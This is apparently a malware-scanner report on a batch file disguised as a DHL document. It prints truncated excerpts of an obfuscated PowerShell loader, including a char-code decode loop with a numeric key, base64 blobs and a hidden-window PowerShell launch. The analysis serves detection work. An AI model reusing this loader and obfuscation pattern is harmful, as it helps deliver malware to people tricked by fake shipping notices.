Suspicious ^80% Download

DHL_DOC75735835395935853958945634747535.bat

Obfuscated PowerShell malware execution

Numeric character array payloadPowerShell executable name reference

SHA-256736dc94a8570184dcc4e9e8ca45861c15fed381ee6eb696ecd9efbfb556da1a7

URLhttps://mb-api.abuse.ch/api/v1/

Evidence

Numeric character array payload lines 1–3

1
2@echo off
3set "skimpy=function zxk_vr8 ($sharptail) {    [System.Environment]::GetLogicalDrives()}$monatomic=@(77,105,110,100,101,116,97,118,108,101,114,110,101,50,52,55);[System.Guid]::NewGuid();$obduktionserklringerne=67831-61831;$cellularity=16;function bq_t9x {    [System.Math]::Round(3.1415)}function Unslowly ($skammelig) {if ($afbarkende) { [System.BitConverter]::GetBytes(55) };$skruetvingernes=$loral.Trim();if (2 -gt 9) { [System.IO.Path]::GetRandomFileName() };.($skruetvingernes) $skammelig;if ($dessertskeer) { Get-Random -InputObject 10, 20, 30 }}[System.Math]::Max(14, 88);function buzzy ($stormskadese …

PowerShell indexed char-code decode assignment line 3

3:1304… har]::IsDigit('x', 0) };$ddlignende=14975-14975;while($true) {if ($alleviative) { [System.Array]::Reverse(@(1, 2)) };$lunets[$ddlignende]-=$monatomic[$ddlignende%%$cellularity];$unglossy+=katcha($lunets[$ddlignende++]);if ($sandvigbos) { [System.IO.Path]::GetTempPath() };if(-not $lunets[$ddlignende]){break}if ($relancing) { [Syst …

Encoded content decoded: base64 line 3

3:2798… ::GetExtension('plok.zop');$bagatelliseringens=Digitaliserende 'eEdeRE0jCBgICgUdRXxgF3xZQFReVDYfAlNGVUVKAgN2SRwSX0VUQUJVW04iV1dcIkZcVFREUUdcVFIoDEBRUSIRQVVQQ09G';$bervelserne=Digitaliserende 'JR0aFBZOTlkcFxsYEEJYWC …

PowerShell WindowStyle Hidden option lines 6–11

6:9… ylhydrocupreine240=%SystemRoot%\syswow64\WindowsPowerShell\v1.0\powershell.exe" 
7if not exist "%Ethylhydrocupreine240%" (
8set "Ethylhydrocupreine240=%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe"
9)
10
11echo %%skimpy%% | "%Ethylhydrocupreine240%" -windowstyle hidden -